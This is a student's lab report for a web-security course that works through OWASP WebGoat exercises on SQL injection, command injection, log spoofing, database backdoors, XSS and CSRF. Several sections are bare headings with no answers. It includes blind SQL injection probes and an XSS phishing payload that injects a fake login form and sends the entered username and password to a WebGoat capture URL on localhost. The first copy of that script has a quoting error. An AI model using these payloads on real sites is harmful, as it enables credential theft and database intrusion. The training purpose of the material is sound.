其他分享
首页 > 其他分享> > 2018-2019-2 20165328《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165328《网络对抗技术》Exp9 Web安全基础

作者:互联网

目录

实验要求

目的: 理解常用网络攻击技术的基本原理
内容:
1、SQL注入攻击
2、XSS攻击
3、CSRF攻击

基础问题及回答:

SQL注入攻击原理,如何防御:

XSS攻击的原理,如何防御:

CSRF攻击原理,如何防御:

实验内容:

WebGoat准备工作

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。

SQL注入攻击

命令注入(Command Injection)

目标:能够在目标主机上执行任何系统命令

数字型SQL注入(Numeric SQL Injection)

目标:显示天气情况

日志欺骗(Log Spoofing)

目标:使用户名为admin的用户在日志中显示成功登录

字符串型注入(String SQL Injection)

目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。

LAB: SQL Injection

使用SQL注入绕过认证。

数据库后门(Database Backdoors)

数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。

数字型盲注入(Blind Numeric SQL Injection)

某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
101 AND 1=1
101 AND 1=2`

第一个语句中,两个条件都成立,所以页面返回Account number is valid;而第二条则返回帐号无效

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>
<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

CSRF攻击

Cross Site Request Forgery(CSRF)

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。

实验感想

此次的实验内容较多,难度稍大,但在认真完成后才发现其实也不是太难,很多都在之前的实验或多或少接触过,总体而言,获益匪浅。

标签:语句,Web,Exp9,XSS,攻击,20165328,CSRF,SQL,Injection
来源: https://www.cnblogs.com/dky20165328/p/10925798.html